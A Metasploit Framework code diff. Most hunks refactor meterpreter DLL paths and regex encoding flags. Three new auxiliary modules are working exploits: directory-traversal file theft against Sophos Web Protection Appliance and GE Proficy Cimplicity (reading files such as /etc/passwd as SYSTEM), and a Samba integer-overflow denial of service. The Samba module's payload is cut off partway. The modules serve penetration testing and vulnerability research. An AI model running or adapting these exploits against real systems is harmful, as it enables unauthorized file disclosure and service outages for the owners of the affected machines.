||||||
# the file is expected to be
|
# the file is expected to be
|
||||||
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
|
path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
|
||||||
|
|
||||||
if (opts['ExtensionPath'])
|
if (opts['ExtensionPath'])
|
||||||
path = opts['ExtensionPath']
|
path = opts['ExtensionPath']
|
||||||
|
@ -209,7 +212,7 @@ class ClientCore < Extension
|
||||||
# Include the appropriate reflective dll injection module for the target process architecture...
|
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||||
if( process['arch'] == ARCH_X86 )
|
if( process['arch'] == ARCH_X86 )
|
||||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
||||||
binary_suffix = "dll"
|
binary_suffix = "x86.dll"
|
||||||
elsif( process['arch'] == ARCH_X86_64 )
|
elsif( process['arch'] == ARCH_X86_64 )
|
||||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
||||||
binary_suffix = "x64.dll"
|
binary_suffix = "x64.dll"
|
||||||
|
@ -219,7 +222,7 @@ class ClientCore < Extension
|
||||||
|
|
||||||
# Create the migrate stager
|
# Create the migrate stager
|
||||||
migrate_stager = c.new()
|
migrate_stager = c.new()
|
||||||
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
|
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" )
|
||||||
|
|
||||||
blob = migrate_stager.stage_payload
|
blob = migrate_stager.stage_payload
|
||||||
|
|
||||||
|
@ -297,7 +300,7 @@ class ClientCore < Extension
|
||||||
client.binary_suffix = 'x64.dll'
|
client.binary_suffix = 'x64.dll'
|
||||||
else
|
else
|
||||||
client.platform = 'x86/win32'
|
client.platform = 'x86/win32'
|
||||||
client.binary_suffix = 'dll'
|
client.binary_suffix = 'x86.dll'
|
||||||
end
|
end
|
||||||
|
|
||||||
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
|
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
|
||||||
|
|
|
@ -46,11 +46,7 @@ class Priv < Extension
|
||||||
|
|
||||||
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
||||||
|
|
||||||
if( client.platform == 'x64/win64' )
|
elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" )
|
||||||
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
|
|
||||||
else
|
|
||||||
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
|
|
||||||
end
|
|
||||||
|
|
||||||
elevator_path = ::File.expand_path( elevator_path )
|
elevator_path = ::File.expand_path( elevator_path )
|
||||||
|
|
||||||
|
|
|
@ -249,7 +249,7 @@ class Registry
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
cls = response.get_tlv(TLV_TYPE_VALUE_DATA)
|
cls = response.get_tlv(TLV_TYPE_VALUE_DATA)
|
||||||
return nil if not cls
|
return nil if not cls
|
||||||
data = cls.value.gsub(/\x00.*/, '')
|
data = cls.value.gsub(/\x00.*/n, '')
|
||||||
return data
|
return data
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -157,7 +157,7 @@ class UI < Rex::Post::UI
|
||||||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
|
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
|
||||||
# include the x64 screenshot dll if the host OS is x64
|
# include the x64 screenshot dll if the host OS is x64
|
||||||
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
|
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
|
||||||
screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.x64.dll' )
|
screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x64.dll' )
|
||||||
screenshot_path = ::File.expand_path( screenshot_path )
|
screenshot_path = ::File.expand_path( screenshot_path )
|
||||||
screenshot_dll = ''
|
screenshot_dll = ''
|
||||||
::File.open( screenshot_path, 'rb' ) do |f|
|
::File.open( screenshot_path, 'rb' ) do |f|
|
||||||
|
@ -167,7 +167,7 @@ class UI < Rex::Post::UI
|
||||||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
|
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
|
||||||
end
|
end
|
||||||
# but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
|
# but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
|
||||||
screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.dll' )
|
screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x86.dll' )
|
||||||
screenshot_path = ::File.expand_path( screenshot_path )
|
screenshot_path = ::File.expand_path( screenshot_path )
|
||||||
screenshot_dll = ''
|
screenshot_dll = ''
|
||||||
::File.open( screenshot_path, 'rb' ) do |f|
|
::File.open( screenshot_path, 'rb' ) do |f|
|
||||||
|
|
|
@ -377,7 +377,7 @@ class Console::CommandDispatcher::Core
|
||||||
case opt
|
case opt
|
||||||
when "-l"
|
when "-l"
|
||||||
exts = []
|
exts = []
|
||||||
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter')
|
path = ::File.join(Msf::Config.data_directory, 'meterpreter')
|
||||||
::Dir.entries(path).each { |f|
|
::Dir.entries(path).each { |f|
|
||||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||||
exts.push($1)
|
exts.push($1)
|
||||||
|
@ -422,7 +422,7 @@ class Console::CommandDispatcher::Core
|
||||||
|
|
||||||
def cmd_load_tabs(str, words)
|
def cmd_load_tabs(str, words)
|
||||||
tabs = []
|
tabs = []
|
||||||
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter')
|
path = ::File.join(Msf::Config.data_directory, 'meterpreter')
|
||||||
::Dir.entries(path).each { |f|
|
::Dir.entries(path).each { |f|
|
||||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||||
if (not extensions.include?($1))
|
if (not extensions.include?($1))
|
||||||
|
|
|
@ -71,7 +71,7 @@ class Utils
|
||||||
ddm.payload.each do |param|
|
ddm.payload.each do |param|
|
||||||
case param.codepoint
|
case param.codepoint
|
||||||
when Constants::SECMEC
|
when Constants::SECMEC
|
||||||
info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/
|
info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/n
|
||||||
when Constants::SECCHKCD
|
when Constants::SECCHKCD
|
||||||
info_hash[:security_check_code] = param.payload.unpack("C").first
|
info_hash[:security_check_code] = param.payload.unpack("C").first
|
||||||
# A little spurious? This is always nonzero when there's no SECCHKRM DDM.
|
# A little spurious? This is always nonzero when there's no SECCHKRM DDM.
|
||||||
|
|
|
@ -504,7 +504,7 @@ class Client
|
||||||
return resp unless resp.code == 401 && resp.headers['WWW-Authenticate']
|
return resp unless resp.code == 401 && resp.headers['WWW-Authenticate']
|
||||||
|
|
||||||
# Get the challenge and craft the response
|
# Get the challenge and craft the response
|
||||||
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0]
|
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
|
||||||
return resp unless ntlm_challenge
|
return resp unless ntlm_challenge
|
||||||
|
|
||||||
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
|
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
|
||||||
|
|
|
@ -635,7 +635,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
|
|
||||||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||||
|
|
||||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
info = ack['Payload'].v['Payload'].split(/\x00/n)
|
||||||
self.peer_native_os = info[0]
|
self.peer_native_os = info[0]
|
||||||
self.peer_native_lm = info[1]
|
self.peer_native_lm = info[1]
|
||||||
self.default_domain = info[2]
|
self.default_domain = info[2]
|
||||||
|
@ -711,7 +711,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
|
|
||||||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||||
|
|
||||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
info = ack['Payload'].v['Payload'].split(/\x00/n)
|
||||||
|
|
||||||
self.peer_native_os = info[0]
|
self.peer_native_os = info[0]
|
||||||
self.peer_native_lm = info[1]
|
self.peer_native_lm = info[1]
|
||||||
|
@ -760,7 +760,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
|
|
||||||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||||
|
|
||||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
info = ack['Payload'].v['Payload'].split(/\x00/n)
|
||||||
|
|
||||||
self.peer_native_os = info[0]
|
self.peer_native_os = info[0]
|
||||||
self.peer_native_lm = info[1]
|
self.peer_native_lm = info[1]
|
||||||
|
@ -841,7 +841,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen'])
|
blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen'])
|
||||||
|
|
||||||
# Extract the native lanman and os strings
|
# Extract the native lanman and os strings
|
||||||
info = data.split(/\x00/)
|
info = data.split(/\x00/n)
|
||||||
self.peer_native_os = info[0]
|
self.peer_native_os = info[0]
|
||||||
self.peer_native_lm = info[1]
|
self.peer_native_lm = info[1]
|
||||||
|
|
||||||
|
@ -1019,7 +1019,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen'])
|
blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen'])
|
||||||
|
|
||||||
# Extract the native lanman and os strings
|
# Extract the native lanman and os strings
|
||||||
info = data.split(/\x00/)
|
info = data.split(/\x00/n)
|
||||||
self.peer_native_os = info[0]
|
self.peer_native_os = info[0]
|
||||||
self.peer_native_lm = info[1]
|
self.peer_native_lm = info[1]
|
||||||
|
|
||||||
|
@ -1881,7 +1881,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
'C'+ # Short File Name Length
|
'C'+ # Short File Name Length
|
||||||
'C' # Reserved
|
'C' # Reserved
|
||||||
)
|
)
|
||||||
name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/, '')
|
name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '')
|
||||||
files[name] =
|
files[name] =
|
||||||
{
|
{
|
||||||
'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F',
|
'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F',
|
||||||
|
|
|
@ -875,7 +875,7 @@ module Text
|
||||||
#
|
#
|
||||||
def self.ascii_safe_hex(str, whitespace=false)
|
def self.ascii_safe_hex(str, whitespace=false)
|
||||||
if whitespace
|
if whitespace
|
||||||
str.gsub(/([\x00-\x20\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
str.gsub(/([\x00-\x20\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||||
else
|
else
|
||||||
str.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0]}
|
str.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0]}
|
||||||
end
|
end
|
||||||
|
@ -1076,7 +1076,7 @@ module Text
|
||||||
def self.dehex(str)
|
def self.dehex(str)
|
||||||
return str unless str.respond_to? :match
|
return str unless str.respond_to? :match
|
||||||
return str unless str.respond_to? :gsub
|
return str unless str.respond_to? :gsub
|
||||||
regex = /\x5cx[0-9a-f]{2}/mi
|
regex = /\x5cx[0-9a-f]{2}/nmi
|
||||||
if str.match(regex)
|
if str.match(regex)
|
||||||
str.gsub(regex) { |x| x[2,2].to_i(16).chr }
|
str.gsub(regex) { |x| x[2,2].to_i(16).chr }
|
||||||
else
|
else
|
||||||
|
@ -1091,7 +1091,7 @@ module Text
|
||||||
def self.dehex!(str)
|
def self.dehex!(str)
|
||||||
return str unless str.respond_to? :match
|
return str unless str.respond_to? :match
|
||||||
return str unless str.respond_to? :gsub
|
return str unless str.respond_to? :gsub
|
||||||
regex = /\x5cx[0-9a-f]{2}/mi
|
regex = /\x5cx[0-9a-f]{2}/nmi
|
||||||
str.gsub!(regex) { |x| x[2,2].to_i(16).chr }
|
str.gsub!(regex) { |x| x[2,2].to_i(16).chr }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1563,7 +1563,7 @@ module Text
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.unicode_filter_decode(str)
|
def self.unicode_filter_decode(str)
|
||||||
str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/ ){|m| [$2].pack("H*") }
|
str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/n ){|m| [$2].pack("H*") }
|
||||||
end
|
end
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
|
@ -62,12 +62,12 @@ class Input::Socket < Rex::Ui::Text::Input
|
||||||
|
|
||||||
# Handle telnet sequences
|
# Handle telnet sequences
|
||||||
case line
|
case line
|
||||||
when /\xff\xf4\xff\xfd\x06/
|
when /\xff\xf4\xff\xfd\x06/n
|
||||||
@sock.write("[*] Caught ^C, closing the socket...\n")
|
@sock.write("[*] Caught ^C, closing the socket...\n")
|
||||||
@sock.close
|
@sock.close
|
||||||
return
|
return
|
||||||
|
|
||||||
when /\xff\xed\xff\xfd\x06/
|
when /\xff\xed\xff\xfd\x06/n
|
||||||
@sock.write("[*] Caught ^Z\n")
|
@sock.write("[*] Caught ^Z\n")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
|
@ -316,7 +316,7 @@ module RKelly
|
||||||
when Numeric
|
when Numeric
|
||||||
object.value
|
object.value
|
||||||
when ::String
|
when ::String
|
||||||
s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/, '')
|
s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/n, '')
|
||||||
if s.length == 0
|
if s.length == 0
|
||||||
0
|
0
|
||||||
else
|
else
|
||||||
|
|
|
@ -0,0 +1,128 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'uri'
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
|
||||||
|
'Description' => %q{
|
||||||
|
This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
|
||||||
|
on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
|
||||||
|
Sophos Web Virtual Appliance v3.7.0.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Wolfgang Ettlingers', # Vulnerability discovery
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2013-2641' ],
|
||||||
|
[ 'OSVDB', '91953' ],
|
||||||
|
[ 'BID', '58833' ],
|
||||||
|
[ 'EDB', '24932' ],
|
||||||
|
[ 'URL', 'http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ],
|
||||||
|
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'SSL' => true
|
||||||
|
},
|
||||||
|
'DisclosureDate' => 'Apr 03 2013'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(443),
|
||||||
|
OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']),
|
||||||
|
OptInt.new('DEPTH', [true, 'Traversal depth', 2])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def my_basename(filename)
|
||||||
|
return ::File.basename(filename.gsub(/\\/, "/"))
|
||||||
|
end
|
||||||
|
|
||||||
|
def is_proficy?
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => "/cgi-bin/patience.cgi",
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 307 and res.body =~ /The patience page request was not valid/
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def read_file(file)
|
||||||
|
travs = ""
|
||||||
|
travs << "../" * datastore['DEPTH']
|
||||||
|
travs << file
|
||||||
|
travs << "%00"
|
||||||
|
|
||||||
|
print_status("#{@peer} - Retrieving file contents...")
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => "/cgi-bin/patience.cgi",
|
||||||
|
'method' => 'GET',
|
||||||
|
'encode_params' => false,
|
||||||
|
'vars_get' => {
|
||||||
|
'id' => travs
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
|
||||||
|
if res and (res.code == 200 or res.code == 500) and res.headers['X-Sophos-PatienceID']
|
||||||
|
return res.body
|
||||||
|
else
|
||||||
|
print_status("#{res.code}\n#{res.body}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
@peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
print_status("#{@peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
|
||||||
|
if is_proficy?
|
||||||
|
print_good("#{@peer} - Check successful")
|
||||||
|
else
|
||||||
|
print_error("#{@peer} - Sophos Web Protect Appliance vulnerable component not found")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
contents = read_file(datastore['FILEPATH'])
|
||||||
|
if contents.nil?
|
||||||
|
print_error("#{@peer} - File not downloaded")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
file_name = my_basename(datastore['FILEPATH'])
|
||||||
|
path = store_loot(
|
||||||
|
'sophos.wpa.traversal',
|
||||||
|
'application/octet-stream',
|
||||||
|
rhost,
|
||||||
|
contents,
|
||||||
|
file_name
|
||||||
|
)
|
||||||
|
print_good("#{rhost}:#{rport} - File saved in: #{path}")
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,145 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'uri'
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',
|
||||||
|
'Description' => %q{
|
||||||
|
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the
|
||||||
|
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM
|
||||||
|
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Unknown', # Vulnerability discovery
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2013-0653' ],
|
||||||
|
[ 'OSVDB', '89490' ],
|
||||||
|
[ 'BID', '57505' ],
|
||||||
|
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jan 22 2013'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(80),
|
||||||
|
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),
|
||||||
|
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
|
||||||
|
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
|
||||||
|
OptInt.new('DEPTH', [true, 'Traversal depth', 5])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def normalize_uri(*strs)
|
||||||
|
new_str = strs * "/"
|
||||||
|
|
||||||
|
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
||||||
|
|
||||||
|
# Makes sure there's a starting slash
|
||||||
|
unless new_str[0,1] == '/'
|
||||||
|
new_str = '/' + new_str
|
||||||
|
end
|
||||||
|
|
||||||
|
new_str
|
||||||
|
end
|
||||||
|
|
||||||
|
def target_uri
|
||||||
|
begin
|
||||||
|
# In case TARGETURI is empty, at least we default to '/'
|
||||||
|
u = datastore['TARGETURI']
|
||||||
|
u = "/" if u.nil? or u.empty?
|
||||||
|
URI(u)
|
||||||
|
rescue ::URI::InvalidURIError
|
||||||
|
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
|
||||||
|
raise Msf::OptionValidateError.new(['TARGETURI'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def my_basename(filename)
|
||||||
|
return ::File.basename(filename.gsub(/\\/, "/"))
|
||||||
|
end
|
||||||
|
|
||||||
|
def is_proficy?
|
||||||
|
connect
|
||||||
|
req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"
|
||||||
|
sock.put(req)
|
||||||
|
res = sock.get_once
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
if res and res =~ /gefebt\.exe/
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# We can't use the http client msf mixin because the Proficy Web server
|
||||||
|
# return a malformed HTTP response with the file contents, there aren't
|
||||||
|
# two new lines (but one) between the HTTP headers and the body content.
|
||||||
|
def read_file(file)
|
||||||
|
travs = ""
|
||||||
|
travs << "../" * datastore['DEPTH']
|
||||||
|
travs << file
|
||||||
|
|
||||||
|
print_status("#{@peer} - Retrieving file contents...")
|
||||||
|
|
||||||
|
connect
|
||||||
|
req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"
|
||||||
|
sock.put(req)
|
||||||
|
res = sock.get_once
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
if res and res =~ /HTTP\/1\.0 200 OK/
|
||||||
|
return res
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
@peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
print_status("#{@peer} - Checking if it's a GE Proficy Application...")
|
||||||
|
if is_proficy?
|
||||||
|
print_good("#{@peer} - Check successful")
|
||||||
|
else
|
||||||
|
print_error("#{@peer} - GE proficy not found")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
contents = read_file(datastore['FILEPATH'])
|
||||||
|
if contents.nil?
|
||||||
|
print_error("#{@peer} - File not downloaded")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
file_name = my_basename(datastore['FILEPATH'])
|
||||||
|
path = store_loot(
|
||||||
|
'ge.proficy.traversal',
|
||||||
|
'application/octet-stream',
|
||||||
|
rhost,
|
||||||
|
contents,
|
||||||
|
file_name
|
||||||
|
)
|
||||||
|
print_good("#{rhost}:#{rport} - File saved in: #{path}")
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,128 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/struct2'
|
||||||
|
require 'rex/proto/smb'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::DCERPC
|
||||||
|
include Msf::Exploit::Remote::SMB::Authenticated
|
||||||
|
|
||||||
|
TRANS2_PARAM = Rex::Struct2::CStructTemplate.new(
|
||||||
|
[ 'uint16v', 'FID', 0 ],
|
||||||
|
[ 'uint16v', 'InfoLevel', 0 ],
|
||||||
|
[ 'uint16v', 'Reserved', 0 ],
|
||||||
|
)
|
||||||
|
|
||||||
|
FEA_LIST = Rex::Struct2::CStructTemplate.new(
|
||||||
|
[ 'uint32v', 'NextOffset', 0 ],
|
||||||
|
[ 'uint8', 'Flags', 0 ],
|
||||||
|
[ 'uint8', 'NameLen', 0 ],
|
||||||
|
[ 'uint16v', 'ValueLen', 0 ],
|
||||||
|
[ 'string', 'Name', nil, '' ],
|
||||||
|
[ 'string', 'Value', nil, '' ]
|
||||||
|
)
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Samba read_nttrans_ea_list Integer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
Integer overflow in the read_nttrans_ea_list function in nttrans.c in
|
||||||
|
smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before
|
||||||
|
4.0.8 allows remote attackers to cause a denial of service (memory
|
||||||
|
consumption) via a malformed packet. Important Note: in order to work,
|
||||||
|
the "ea support" option on the target share must be enabled.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Jeremy Allison', # Vulnerability discovery
|
||||||
|
'dz_lnly' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['OSVDB', '95969'],
|
||||||
|
['BID', '61597'],
|
||||||
|
['EDB', '27778'],
|
||||||
|
['CVE', '2013-4124']
|
||||||
|
],
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SMBShare', [true, 'Target share', '']),
|
||||||
|
OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]),
|
||||||
|
OptInt.new('Tries', [true, 'Number of DOS tries', 40]),
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_fid
|
||||||
|
ok = self.simple.client.create("/")
|
||||||
|
return ok['Payload'].v['FileID']
|
||||||
|
end
|
||||||
|
|
||||||
|
def mk_items_payload
|
||||||
|
item1 = FEA_LIST.make_struct
|
||||||
|
item1.v['ValueLen'] = datastore['MsgLen']
|
||||||
|
item1.v['Value'] = "\x00" * datastore['MsgLen']
|
||||||
|
item1.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||||
|
item1.v['NameLen'] = item1.v['Name'].length
|
||||||
|
item2 = FEA_LIST.make_struct
|
||||||
|
item2.v['ValueLen'] = datastore['MsgLen']
|
||||||
|
item2.v['Value'] = "\x00" * datastore['MsgLen']
|
||||||
|
item2.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||||
|
item2.v['NameLen'] = item1.v['Name'].length
|
||||||
|
item3 = FEA_LIST.make_struct # Some padding
|
||||||
|
item3.v['ValueLen'] = 4
|
||||||
|
item3.v['Value'] = "\x00\x00\x00\x00"
|
||||||
|
